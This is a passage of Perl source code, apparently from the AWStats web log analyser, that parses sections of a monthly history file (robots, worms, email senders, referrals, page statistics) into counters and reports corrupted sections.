4766
 
                                                        $countloaded++;
4767
 
                                                        if ( !$_unknownrefererbrowser_l{ $field[0] } ) {
4768
 
                                                                $_unknownrefererbrowser_l{ $field[0] } =
4769
 
                                                                  int( $field[1] );
4770
 
                                                        }
4771
 
                                                }
4772
 
                                        }
4773
 
                                        $_ = <HISTORY>;
4774
 
                                        chomp $_;
4775
 
                                        s/\r//;
4776
 
                                        @field =
4777
 
                                          split( /\s+/,
4778
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4779
 
                                        $countlines++;
4780
 
                                  } until ( $field[0] eq 'END_UNKNOWNREFERERBROWSER'
4781
 
                                          || $field[0] eq "${xmleb}END_UNKNOWNREFERERBROWSER"
4782
 
                                          || !$_ );
4783
 
                                if (   $field[0] ne 'END_UNKNOWNREFERERBROWSER'
4784
 
                                        && $field[0] ne "${xmleb}END_UNKNOWNREFERERBROWSER" )
4785
 
                                {
4786
 
                                        error(
4787
 
"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERERBROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4788
 
                                                "", "", 1
4789
 
                                        );
4790
 
                                }
4791
 
                                if ($Debug) {
4792
 
                                        debug(
4793
 
" End of UNKNOWNREFERERBROWSER section ($count entries, $countloaded loaded)"
4794
 
                                        );
4795
 
                                }
4796
 
                                delete $SectionsToLoad{'unknownrefererbrowser'};
4797
 
                                if ( $SectionsToSave{'unknownrefererbrowser'} ) {
4798
 
                                        Save_History( 'unknownrefererbrowser',
4799
 
                                                $year, $month, $date );
4800
 
                                        delete $SectionsToSave{'unknownrefererbrowser'};
4801
 
                                        if ($withpurge) { %_unknownrefererbrowser_l = (); }
4802
 
                                }
4803
 
                                if ( !scalar %SectionsToLoad ) {
4804
 
                                        debug(" Stop reading history file. Got all we need.");
4805
 
                                        last;
4806
 
                                }
4807
 
                                next;
4808
 
                        }
4809
 
 
4810
 
                        # BEGIN_SCREENSIZE
4811
 
                        if ( $field[0] eq 'BEGIN_SCREENSIZE' ) {
4812
 
                                if ($Debug) { debug(" Begin of SCREENSIZE section"); }
4813
 
                                $field[0] = '';
4814
 
                                my $count       = 0;
4815
 
                                my $countloaded = 0;
4816
 
                                do {
4817
 
                                        if ( $field[0] ) {
4818
 
                                                $count++;
4819
 
                                                if ( $SectionsToLoad{'screensize'} ) {
4820
 
                                                        $countloaded++;
4821
 
                                                        if ( $field[1] ) {
4822
 
                                                                $_screensize_h{ $field[0] } += $field[1];
4823
 
                                                        }
4824
 
                                                }
4825
 
                                        }
4826
 
                                        $_ = <HISTORY>;
4827
 
                                        chomp $_;
4828
 
                                        s/\r//;
4829
 
                                        @field =
4830
 
                                          split( /\s+/,
4831
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4832
 
                                        $countlines++;
4833
 
                                  } until ( $field[0] eq 'END_SCREENSIZE'
4834
 
                                          || $field[0] eq "${xmleb}END_SCREENSIZE"
4835
 
                                          || !$_ );
4836
 
                                if (   $field[0] ne 'END_SCREENSIZE'
4837
 
                                        && $field[0] ne "${xmleb}END_SCREENSIZE" )
4838
 
                                {
4839
 
                                        error(
4840
 
"History file \"$filetoread\" is corrupted (End of section SCREENSIZE not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4841
 
                                                "", "", 1
4842
 
                                        );
4843
 
                                }
4844
 
                                if ($Debug) {
4845
 
                                        debug(
4846
 
" End of SCREENSIZE section ($count entries, $countloaded loaded)"
4847
 
                                        );
4848
 
                                }
4849
 
                                delete $SectionsToLoad{'screensize'};
4850
 
                                if ( $SectionsToSave{'screensize'} ) {
4851
 
                                        Save_History( 'screensize', $year, $month, $date );
4852
 
                                        delete $SectionsToSave{'screensize'};
4853
 
                                        if ($withpurge) { %_screensize_h = (); }
4854
 
                                }
4855
 
                                if ( !scalar %SectionsToLoad ) {
4856
 
                                        debug(" Stop reading history file. Got all we need.");
4857
 
                                        last;
4858
 
                                }
4859
 
                                next;
4860
 
                        }
4861
 
 
4862
 
                        # BEGIN_ROBOT
4863
 
                        if ( $field[0] eq 'BEGIN_ROBOT' ) {
4864
 
                                if ($Debug) { debug(" Begin of ROBOT section"); }
4865
 
                                $field[0] = '';
4866
 
                                my $count       = 0;
4867
 
                                my $countloaded = 0;
4868
 
                                do {
4869
 
                                        if ( $field[0] ) {
4870
 
                                                $count++;
4871
 
                                                if ( $SectionsToLoad{'robot'} ) {
4872
 
                                                        $countloaded++;
4873
 
                                                        if ( $field[1] ) {
4874
 
                                                                $_robot_h{ $field[0] } += $field[1];
4875
 
                                                        }
4876
 
                                                        $_robot_k{ $field[0] } += $field[2];
4877
 
                                                        if ( !$_robot_l{ $field[0] } ) {
4878
 
                                                                $_robot_l{ $field[0] } = int( $field[3] );
4879
 
                                                        }
4880
 
                                                        if ( $field[4] ) {
4881
 
                                                                $_robot_r{ $field[0] } += $field[4];
4882
 
                                                        }
4883
 
                                                }
4884
 
                                        }
4885
 
                                        $_ = <HISTORY>;
4886
 
                                        chomp $_;
4887
 
                                        s/\r//;
4888
 
                                        @field =
4889
 
                                          split( /\s+/,
4890
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4891
 
                                        $countlines++;
4892
 
                                  } until ( $field[0] eq 'END_ROBOT'
4893
 
                                          || $field[0] eq "${xmleb}END_ROBOT"
4894
 
                                          || !$_ );
4895
 
                                if (   $field[0] ne 'END_ROBOT'
4896
 
                                        && $field[0] ne "${xmleb}END_ROBOT" )
4897
 
                                {
4898
 
                                        error(
4899
 
"History file \"$filetoread\" is corrupted (End of section ROBOT not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4900
 
                                                "", "", 1
4901
 
                                        );
4902
 
                                }
4903
 
                                if ($Debug) {
4904
 
                                        debug(
4905
 
" End of ROBOT section ($count entries, $countloaded loaded)"
4906
 
                                        );
4907
 
                                }
4908
 
                                delete $SectionsToLoad{'robot'};
4909
 
                                if ( $SectionsToSave{'robot'} ) {
4910
 
                                        Save_History( 'robot', $year, $month, $date );
4911
 
                                        delete $SectionsToSave{'robot'};
4912
 
                                        if ($withpurge) {
4913
 
                                                %_robot_h = ();
4914
 
                                                %_robot_k = ();
4915
 
                                                %_robot_l = ();
4916
 
                                                %_robot_r = ();
4917
 
                                        }
4918
 
                                }
4919
 
                                if ( !scalar %SectionsToLoad ) {
4920
 
                                        debug(" Stop reading history file. Got all we need.");
4921
 
                                        last;
4922
 
                                }
4923
 
                                next;
4924
 
                        }
4925
 
 
4926
 
                        # BEGIN_WORMS
4927
 
                        if ( $field[0] eq 'BEGIN_WORMS' ) {
4928
 
                                if ($Debug) { debug(" Begin of WORMS section"); }
4929
 
                                $field[0] = '';
4930
 
                                my $count       = 0;
4931
 
                                my $countloaded = 0;
4932
 
                                do {
4933
 
                                        if ( $field[0] ) {
4934
 
                                                $count++;
4935
 
                                                if ( $SectionsToLoad{'worms'} ) {
4936
 
                                                        $countloaded++;
4937
 
                                                        if ( $field[1] ) {
4938
 
                                                                $_worm_h{ $field[0] } += $field[1];
4939
 
                                                        }
4940
 
                                                        $_worm_k{ $field[0] } += $field[2];
4941
 
                                                        if ( !$_worm_l{ $field[0] } ) {
4942
 
                                                                $_worm_l{ $field[0] } = int( $field[3] );
4943
 
                                                        }
4944
 
                                                }
4945
 
                                        }
4946
 
                                        $_ = <HISTORY>;
4947
 
                                        chomp $_;
4948
 
                                        s/\r//;
4949
 
                                        @field =
4950
 
                                          split( /\s+/,
4951
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4952
 
                                        $countlines++;
4953
 
                                  } until ( $field[0] eq 'END_WORMS'
4954
 
                                          || $field[0] eq "${xmleb}END_WORMS"
4955
 
                                          || !$_ );
4956
 
                                if (   $field[0] ne 'END_WORMS'
4957
 
                                        && $field[0] ne "${xmleb}END_WORMS" )
4958
 
                                {
4959
 
                                        error(
4960
 
"History file \"$filetoread\" is corrupted (End of section WORMS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4961
 
                                                "", "", 1
4962
 
                                        );
4963
 
                                }
4964
 
                                if ($Debug) {
4965
 
                                        debug(
4966
 
" End of WORMS section ($count entries, $countloaded loaded)"
4967
 
                                        );
4968
 
                                }
4969
 
                                delete $SectionsToLoad{'worms'};
4970
 
                                if ( $SectionsToSave{'worms'} ) {
4971
 
                                        Save_History( 'worms', $year, $month, $date );
4972
 
                                        delete $SectionsToSave{'worms'};
4973
 
                                        if ($withpurge) {
4974
 
                                                %_worm_h = ();
4975
 
                                                %_worm_k = ();
4976
 
                                                %_worm_l = ();
4977
 
                                        }
4978
 
                                }
4979
 
                                if ( !scalar %SectionsToLoad ) {
4980
 
                                        debug(" Stop reading history file. Got all we need.");
4981
 
                                        last;
4982
 
                                }
4983
 
                                next;
4984
 
                        }
4985
 
 
4986
 
                        # BEGIN_EMAILS
4987
 
                        if ( $field[0] eq 'BEGIN_EMAILSENDER' ) {
4988
 
                                if ($Debug) { debug(" Begin of EMAILSENDER section"); }
4989
 
                                $field[0] = '';
4990
 
                                my $count       = 0;
4991
 
                                my $countloaded = 0;
4992
 
                                do {
4993
 
                                        if ( $field[0] ) {
4994
 
                                                $count++;
4995
 
                                                if ( $SectionsToLoad{'emailsender'} ) {
4996
 
                                                        $countloaded++;
4997
 
                                                        if ( $field[1] ) {
4998
 
                                                                $_emails_h{ $field[0] } += $field[1];
4999
 
                                                        }
5000
 
                                                        if ( $field[2] ) {
5001
 
                                                                $_emails_k{ $field[0] } += $field[2];
5002
 
                                                        }
5003
 
                                                        if ( !$_emails_l{ $field[0] } ) {
5004
 
                                                                $_emails_l{ $field[0] } = int( $field[3] );
5005
 
                                                        }
5006
 
                                                }
5007
 
                                        }
5008
 
                                        $_ = <HISTORY>;
5009
 
                                        chomp $_;
5010
 
                                        s/\r//;
5011
 
                                        @field =
5012
 
                                          split( /\s+/,
5013
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5014
 
                                        $countlines++;
5015
 
                                  } until ( $field[0] eq 'END_EMAILSENDER'
5016
 
                                          || $field[0] eq "${xmleb}END_EMAILSENDER"
5017
 
                                          || !$_ );
5018
 
                                if (   $field[0] ne 'END_EMAILSENDER'
5019
 
                                        && $field[0] ne "${xmleb}END_EMAILSENDER" )
5020
 
                                {
5021
 
                                        error(
5022
 
"History file \"$filetoread\" is corrupted (End of section EMAILSENDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5023
 
                                                "", "", 1
5024
 
                                        );
5025
 
                                }
5026
 
                                if ($Debug) {
5027
 
                                        debug(
5028
 
" End of EMAILSENDER section ($count entries, $countloaded loaded)"
5029
 
                                        );
5030
 
                                }
5031
 
                                delete $SectionsToLoad{'emailsender'};
5032
 
                                if ( $SectionsToSave{'emailsender'} ) {
5033
 
                                        Save_History( 'emailsender', $year, $month, $date );
5034
 
                                        delete $SectionsToSave{'emailsender'};
5035
 
                                        if ($withpurge) {
5036
 
                                                %_emails_h = ();
5037
 
                                                %_emails_k = ();
5038
 
                                                %_emails_l = ();
5039
 
                                        }
5040
 
                                }
5041
 
                                if ( !scalar %SectionsToLoad ) {
5042
 
                                        debug(" Stop reading history file. Got all we need.");
5043
 
                                        last;
5044
 
                                }
5045
 
                                next;
5046
 
                        }
5047
 
 
5048
 
                        # BEGIN_EMAILR
5049
 
                        if ( $field[0] eq 'BEGIN_EMAILRECEIVER' ) {
5050
 
                                if ($Debug) { debug(" Begin of EMAILRECEIVER section"); }
5051
 
                                $field[0] = '';
5052
 
                                my $count       = 0;
5053
 
                                my $countloaded = 0;
5054
 
                                do {
5055
 
                                        if ( $field[0] ) {
5056
 
                                                $count++;
5057
 
                                                if ( $SectionsToLoad{'emailreceiver'} ) {
5058
 
                                                        $countloaded++;
5059
 
                                                        if ( $field[1] ) {
5060
 
                                                                $_emailr_h{ $field[0] } += $field[1];
5061
 
                                                        }
5062
 
                                                        if ( $field[2] ) {
5063
 
                                                                $_emailr_k{ $field[0] } += $field[2];
5064
 
                                                        }
5065
 
                                                        if ( !$_emailr_l{ $field[0] } ) {
5066
 
                                                                $_emailr_l{ $field[0] } = int( $field[3] );
5067
 
                                                        }
5068
 
                                                }
5069
 
                                        }
5070
 
                                        $_ = <HISTORY>;
5071
 
                                        chomp $_;
5072
 
                                        s/\r//;
5073
 
                                        @field =
5074
 
                                          split( /\s+/,
5075
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5076
 
                                        $countlines++;
5077
 
                                  } until ( $field[0] eq 'END_EMAILRECEIVER'
5078
 
                                          || $field[0] eq "${xmleb}END_EMAILRECEIVER"
5079
 
                                          || !$_ );
5080
 
                                if (   $field[0] ne 'END_EMAILRECEIVER'
5081
 
                                        && $field[0] ne "${xmleb}END_EMAILRECEIVER" )
5082
 
                                {
5083
 
                                        error(
5084
 
"History file \"$filetoread\" is corrupted (End of section EMAILRECEIVER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5085
 
                                                "", "", 1
5086
 
                                        );
5087
 
                                }
5088
 
                                if ($Debug) {
5089
 
                                        debug(
5090
 
" End of EMAILRECEIVER section ($count entries, $countloaded loaded)"
5091
 
                                        );
5092
 
                                }
5093
 
                                delete $SectionsToLoad{'emailreceiver'};
5094
 
                                if ( $SectionsToSave{'emailreceiver'} ) {
5095
 
                                        Save_History( 'emailreceiver', $year, $month, $date );
5096
 
                                        delete $SectionsToSave{'emailreceiver'};
5097
 
                                        if ($withpurge) {
5098
 
                                                %_emailr_h = ();
5099
 
                                                %_emailr_k = ();
5100
 
                                                %_emailr_l = ();
5101
 
                                        }
5102
 
                                }
5103
 
                                if ( !scalar %SectionsToLoad ) {
5104
 
                                        debug(" Stop reading history file. Got all we need.");
5105
 
                                        last;
5106
 
                                }
5107
 
                                next;
5108
 
                        }
5109
 
 
5110
 
                        # BEGIN_SIDER
5111
 
                        if ( $field[0] eq 'BEGIN_SIDER' ) {
5112
 
                                if ($Debug) { debug(" Begin of SIDER section"); }
5113
 
                                $field[0] = '';
5114
 
                                my $count       = 0;
5115
 
                                my $countloaded = 0;
5116
 
                                do {
5117
 
                                        if ( $field[0] ) {
5118
 
                                                $count++;
5119
 
                                                if ( $SectionsToLoad{'sider'} ) {
5120
 
                                                        my $loadrecord = 0;
5121
 
                                                        if ($withupdate) {
5122
 
                                                                $loadrecord = 1;
5123
 
                                                        }
5124
 
                                                        else {
5125
 
                                                                if ( $HTMLOutput{'main'} ) {
5126
 
                                                                        if ( $MonthRequired eq 'all' ) {
5127
 
                                                                                $loadrecord = 1;
5128
 
                                                                        }
5129
 
                                                                        else {
5130
 
                                                                                if (
5131
 
                                                                                        $countloaded < $MaxNbOf{'PageShown'}
5132
 
                                                                                        && $field[1] >= $MinHit{'File'} )
5133
 
                                                                                {
5134
 
                                                                                        $loadrecord = 1;
5135
 
                                                                                }
5136
 
                                                                                $TotalDifferentPages++;
5137
 
                                                                        }
5138
 
                                                                }
5139
 
                                                                else
5140
 
                                                                { # This is for $HTMLOutput = urldetail, urlentry or urlexit
5141
 
                                                                        if ( $MonthRequired eq 'all' ) {
5142
 
                                                                                if (
5143
 
                                                                                        (
5144
 
                                                                                                !$FilterIn{'url'}
5145
 
                                                                                                || $field[0] =~
5146
 
                                                                                                /$FilterIn{'url'}/
5147
 
                                                                                        )
5148
 
                                                                                        && ( !$FilterEx{'url'}
5149
 
                                                                                                || $field[0] !~
5150
 
                                                                                                /$FilterEx{'url'}/ )
5151
 
                                                                                  )
5152
 
                                                                                {
5153
 
                                                                                        $loadrecord = 1;
5154
 
                                                                                }
5155
 
                                                                        }
5156
 
                                                                        else {
5157
 
                                                                                if (
5158
 
                                                                                        (
5159
 
                                                                                                !$FilterIn{'url'}
5160
 
                                                                                                || $field[0] =~
5161
 
                                                                                                /$FilterIn{'url'}/
5162
 
                                                                                        )
5163
 
                                                                                        && ( !$FilterEx{'url'}
5164
 
                                                                                                || $field[0] !~
5165
 
                                                                                                /$FilterEx{'url'}/ )
5166
 
                                                                                        && $field[1] >= $MinHit{'File'}
5167
 
                                                                                  )
5168
 
                                                                                {
5169
 
                                                                                        $loadrecord = 1;
5170
 
                                                                                }
5171
 
                                                                                $TotalDifferentPages++;
5172
 
                                                                        }
5173
 
                                                                }
5174
 
 
5175
 
# Posssibilite de mettre if ($FilterIn{'url'} && $field[0] =~ /$FilterIn{'url'}/) mais il faut gerer TotalPages de la meme maniere
5176
 
                                                                $TotalBytesPages += ( $field[2] || 0 );
5177
 
                                                                $TotalEntries    += ( $field[3] || 0 );
5178
 
                                                                $TotalExits      += ( $field[4] || 0 );
5179
 
                                                        }
5180
 
                                                        if ($loadrecord) {
5181
 
                                                                if ( $field[1] ) {
5182
 
                                                                        $_url_p{ $field[0] } += $field[1];
5183
 
                                                                }
5184
 
                                                                if ( $field[2] ) {
5185
 
                                                                        $_url_k{ $field[0] } += $field[2];
5186
 
                                                                }
5187
 
                                                                if ( $field[3] ) {
5188
 
                                                                        $_url_e{ $field[0] } += $field[3];
5189
 
                                                                }
5190
 
                                                                if ( $field[4] ) {
5191
 
                                                                        $_url_x{ $field[0] } += $field[4];
5192
 
                                                                }
5193
 
                                                                $countloaded++;
5194
 
                                                        }
5195
 
                                                }
5196
 
                                        }
5197
 
                                        $_ = <HISTORY>;
5198
 
                                        chomp $_;
5199
 
                                        s/\r//;
5200
 
                                        @field =
5201
 
                                          split( /\s+/,
5202
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5203
 
                                        $countlines++;
5204
 
                                  } until ( $field[0] eq 'END_SIDER'
5205
 
                                          || $field[0] eq "${xmleb}END_SIDER"
5206
 
                                          || !$_ );
5207
 
                                if (   $field[0] ne 'END_SIDER'
5208
 
                                        && $field[0] ne "${xmleb}END_SIDER" )
5209
 
                                {
5210
 
                                        error(
5211
 
"History file \"$filetoread\" is corrupted (End of section SIDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5212
 
                                                "", "", 1
5213
 
                                        );
5214
 
                                }
5215
 
                                if ($Debug) {
5216
 
                                        debug(
5217
 
" End of SIDER section ($count entries, $countloaded loaded)"
5218
 
                                        );
5219
 
                                }
5220
 
                                delete $SectionsToLoad{'sider'};
5221
 
 
5222
 
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
5223
 
#if ($SectionsToSave{'sider'}) {
5224
 
#       Save_History('sider',$year,$month,$date); delete $SectionsToSave{'sider'};
5225
 
#       if ($withpurge) { %_url_p=(); %_url_k=(); %_url_e=(); %_url_x=(); }
5226
 
#}
5227
 
                                if ( !scalar %SectionsToLoad ) {
5228
 
                                        debug(" Stop reading history file. Got all we need.");
5229
 
                                        last;
5230
 
                                }
5231
 
                                next;
5232
 
                        }
5233
 
 
5234
 
                        # BEGIN_FILETYPES
5235
 
                        if ( $field[0] eq 'BEGIN_FILETYPES' ) {
5236
 
                                if ($Debug) { debug(" Begin of FILETYPES section"); }
5237
 
                                $field[0] = '';
5238
 
                                my $count       = 0;
5239
 
                                my $countloaded = 0;
5240
 
                                do {
5241
 
                                        if ( $field[0] ) {
5242
 
                                                $count++;
5243
 
                                                if ( $SectionsToLoad{'filetypes'} ) {
5244
 
                                                        $countloaded++;
5245
 
                                                        if ( $field[1] ) {
5246
 
                                                                $_filetypes_h{ $field[0] } += $field[1];
5247
 
                                                        }
5248
 
                                                        if ( $field[2] ) {
5249
 
                                                                $_filetypes_k{ $field[0] } += $field[2];
5250
 
                                                        }
5251
 
                                                        if ( $field[3] ) {
5252
 
                                                                $_filetypes_gz_in{ $field[0] } += $field[3];
5253
 
                                                        }
5254
 
                                                        if ( $field[4] ) {
5255
 
                                                                $_filetypes_gz_out{ $field[0] } += $field[4];
5256
 
                                                        }
5257
 
                                                }
5258
 
                                        }
5259
 
                                        $_ = <HISTORY>;
5260
 
                                        chomp $_;
5261
 
                                        s/\r//;
5262
 
                                        @field =
5263
 
                                          split( /\s+/,
5264
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5265
 
                                        $countlines++;
5266
 
                                  } until ( $field[0] eq 'END_FILETYPES'
5267
 
                                          || $field[0] eq "${xmleb}END_FILETYPES"
5268
 
                                          || !$_ );
5269
 
                                if (   $field[0] ne 'END_FILETYPES'
5270
 
                                        && $field[0] ne "${xmleb}END_FILETYPES" )
5271
 
                                {
5272
 
                                        error(
5273
 
"History file \"$filetoread\" is corrupted (End of section FILETYPES not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5274
 
                                                "", "", 1
5275
 
                                        );
5276
 
                                }
5277
 
                                if ($Debug) {
5278
 
                                        debug(
5279
 
" End of FILETYPES section ($count entries, $countloaded loaded)"
5280
 
                                        );
5281
 
                                }
5282
 
                                delete $SectionsToLoad{'filetypes'};
5283
 
                                if ( $SectionsToSave{'filetypes'} ) {
5284
 
                                        Save_History( 'filetypes', $year, $month, $date );
5285
 
                                        delete $SectionsToSave{'filetypes'};
5286
 
                                        if ($withpurge) {
5287
 
                                                %_filetypes_h      = ();
5288
 
                                                %_filetypes_k      = ();
5289
 
                                                %_filetypes_gz_in  = ();
5290
 
                                                %_filetypes_gz_out = ();
5291
 
                                        }
5292
 
                                }
5293
 
                                if ( !scalar %SectionsToLoad ) {
5294
 
                                        debug(" Stop reading history file. Got all we need.");
5295
 
                                        last;
5296
 
                                }
5297
 
                                next;
5298
 
                        }
5299
 
 
5300
 
                        # BEGIN_SEREFERRALS
5301
 
                        if ( $field[0] eq 'BEGIN_SEREFERRALS' ) {
5302
 
                                if ($Debug) { debug(" Begin of SEREFERRALS section"); }
5303
 
                                $field[0] = '';
5304
 
                                my $count       = 0;
5305
 
                                my $countloaded = 0;
5306
 
                                do {
5307
 
                                        if ( $field[0] ) {
5308
 
                                                $count++;
5309
 
                                                if ( $SectionsToLoad{'sereferrals'} ) {
5310
 
                                                        $countloaded++;
5311
 
                                                        if ( $versionnum < 5004 )
5312
 
                                                        {    # For history files < 5.4
5313
 
                                                                my $se = $field[0];
5314
 
                                                                $se =~ s/\./\\./g;
5315
 
                                                                if ( $SearchEnginesHashID{$se} ) {
5316
 
                                                                        $_se_referrals_h{ $SearchEnginesHashID{$se}
5317
 
                                                                          } += $field[1]
5318
 
                                                                          || 0;
5319
 
                                                                }
5320
 
                                                                else {
5321
 
                                                                        $_se_referrals_h{ $field[0] } += $field[1]
5322
 
                                                                          || 0;
5323
 
                                                                }
5324
 
                                                        }
5325
 
                                                        elsif ( $versionnum < 5091 )
5326
 
                                                        {    # For history files < 5.91
5327
 
                                                                my $se = $field[0];
5328
 
                                                                $se =~ s/\./\\./g;
5329
 
                                                                if ( $SearchEnginesHashID{$se} ) {
5330
 
                                                                        $_se_referrals_p{ $SearchEnginesHashID{$se}
5331
 
                                                                          } += $field[1]
5332
 
                                                                          || 0;
5333
 
                                                                        $_se_referrals_h{ $SearchEnginesHashID{$se}
5334
 
                                                                          } += $field[2]
5335
 
                                                                          || 0;
5336
 
                                                                }
5337
 
                                                                else {
5338
 
                                                                        $_se_referrals_p{ $field[0] } += $field[1]
5339
 
                                                                          || 0;
5340
 
                                                                        $_se_referrals_h{ $field[0] } += $field[2]
5341
 
                                                                          || 0;
5342
 
                                                                }
5343
 
                                                        }
5344
 
                                                        else {
5345
 
                                                                if ( $field[1] ) {
5346
 
                                                                        $_se_referrals_p{ $field[0] } += $field[1];
5347
 
                                                                }
5348
 
                                                                if ( $field[2] ) {
5349
 
                                                                        $_se_referrals_h{ $field[0] } += $field[2];
5350
 
                                                                }
5351
 
                                                        }
5352
 
                                                }
5353
 
                                        }
5354
 
                                        $_ = <HISTORY>;
5355
 
                                        chomp $_;
5356
 
                                        s/\r//;
5357
 
                                        @field =
5358
 
                                          split( /\s+/,
5359
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5360
 
                                        $countlines++;
5361
 
                                  } until ( $field[0] eq 'END_SEREFERRALS'
5362
 
                                          || $field[0] eq "${xmleb}END_SEREFERRALS"
5363
 
                                          || !$_ );
5364
 
                                if (   $field[0] ne 'END_SEREFERRALS'
5365
 
                                        && $field[0] ne "${xmleb}END_SEREFERRALS" )
5366
 
                                {
5367
 
                                        error(
5368
 
"History file \"$filetoread\" is corrupted (End of section SEREFERRALS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5369
 
                                                "", "", 1
5370
 
                                        );
5371
 
                                }
5372
 
                                if ($Debug) {
5373
 
                                        debug(
5374
 
" End of SEREFERRALS section ($count entries, $countloaded loaded)"
5375
 
                                        );
5376
 
                                }
5377
 
                                delete $SectionsToLoad{'sereferrals'};
5378
 
                                if ( $SectionsToSave{'sereferrals'} ) {
5379
 
                                        Save_History( 'sereferrals', $year, $month, $date );
5380
 
                                        delete $SectionsToSave{'sereferrals'};
5381
 
                                        if ($withpurge) {
5382
 
                                                %_se_referrals_p = ();
5383
 
                                                %_se_referrals_h = ();
5384
 
                                        }
5385
 
                                }
5386
 
                                if ( !scalar %SectionsToLoad ) {
5387
 
                                        debug(" Stop reading history file. Got all we need.");
5388
 
                                        last;
5389
 
                                }
5390
 
                                next;
5391
 
                        }
5392
 
 
5393
 
                        # BEGIN_PAGEREFS
5394
 
                        if ( $field[0] eq 'BEGIN_PAGEREFS' ) {
5395
 
                                if ($Debug) { debug(" Begin of PAGEREFS section"); }
5396
 
                                $field[0] = '';
5397
 
                                my $count       = 0;
5398
 
                                my $countloaded = 0;
5399
 
                                do {
5400
 
                                        if ( $field[0] ) {
5401
 
                                                $count++;
5402
 
                                                if ( $SectionsToLoad{'pagerefs'} ) {
5403
 
                                                        my $loadrecord = 0;
5404
 
                                                        if ($withupdate) {
5405
 
                                                                $loadrecord = 1;
5406
 
                                                        }
5407
 
                                                        else {
5408
 
                                                                if (
5409
 
                                                                        (
5410
 
                                                                                !$FilterIn{'refererpages'}
5411
 
                                                                                || $field[0] =~
5412
 
                                                                                /$FilterIn{'refererpages'}/
5413
 
                                                                        )
5414
 
                                                                        && ( !$FilterEx{'refererpages'}
5415
 
                                                                                || $field[0] !~
5416
 
                                                                                /$FilterEx{'refererpages'}/ )
5417
 
                                                                  )
5418
 
                                                                {
5419
 
                                                                        $loadrecord = 1;
5420
 
                                                                }
5421
 
                                                        }
5422
 
                                                        if ($loadrecord) {
5423
 
                                                                if ( $versionnum < 5004 )
5424
 
                                                                {    # For history files < 5.4
5425
 
                                                                        if ( $field[1] ) {
5426
 
                                                                                $_pagesrefs_h{ $field[0] } +=
5427
 
                                                                                  int( $field[1] );
5428
 
                                                                        }
5429
 
                                                                }
5430
 
                                                                else {
5431
 
                                                                        if ( $field[1] ) {
5432
 
                                                                                $_pagesrefs_p{ $field[0] } +=
5433
 
                                                                                  int( $field[1] );
5434
 
                                                                        }
5435
 
                                                                        if ( $field[2] ) {
5436
 
                                                                                $_pagesrefs_h{ $field[0] } +=
5437
 
                                                                                  int( $field[2] );
5438
 
                                                                        }
5439
 
                                                                }
5440
 
                                                                $countloaded++;
5441
 
                                                        }
5442
 
                                                }
5443
 
                                        }
5444
 
                                        $_ = <HISTORY>;
5445
 
                                        chomp $_;
5446
 
                                        s/\r//;
5447
 
                                        @field =
5448
 
                                          split( /\s+/,
5449
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5450
 
                                        $countlines++;
5451
 
                                  } until ( $field[0] eq 'END_PAGEREFS'
5452
 
                                          || $field[0] eq "${xmleb}END_PAGEREFS"
5453
 
                                          || !$_ );
5454
 
                                if (   $field[0] ne 'END_PAGEREFS'
5455
 
                                        && $field[0] ne "${xmleb}END_PAGEREFS" )
5456
 
                                {
5457
 
                                        error(
5458
 
"History file \"$filetoread\" is corrupted (End of section PAGEREFS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5459
 
                                                "", "", 1
5460
 
                                        );
5461
 
                                }
5462
 
                                if ($Debug) {
5463
 
                                        debug(
5464
 
" End of PAGEREFS section ($count entries, $countloaded loaded)"
5465
 
                                        );
5466
 
                                }
5467
 
                                delete $SectionsToLoad{'pagerefs'};
5468
 
                                if ( $SectionsToSave{'pagerefs'} ) {
5469
 
                                        Save_History( 'pagerefs', $year, $month, $date );
5470
 
                                        delete $SectionsToSave{'pagerefs'};
5471
 
                                        if ($withpurge) { %_pagesrefs_p = (); %_pagesrefs_h = (); }
5472
 
                                }
5473
 
                                if ( !scalar %SectionsToLoad ) {
5474
 
                                        debug(" Stop reading history file. Got all we need.");
5475
 
                                        last;
5476
 
                                }
5477
 
                                next;
5478
 
                        }
5479
 
 
5480
 
                        # BEGIN_SEARCHWORDS
5481
 
                        if ( $field[0] eq 'BEGIN_SEARCHWORDS' ) {
5482
 
                                if ($Debug) {
5483
 
                                        debug(
5484
 
" Begin of SEARCHWORDS section ($MaxNbOf{'KeyphrasesShown'},$MinHit{'Keyphrase'})"
5485
 
                                        );
5486
 
                                }
5487
 
                                $field[0] = '';
5488
 
                                my $count       = 0;
5489
 
                                my $countloaded = 0;
5490
 
                                do {
5491
 
                                        if ( $field[0] ) {
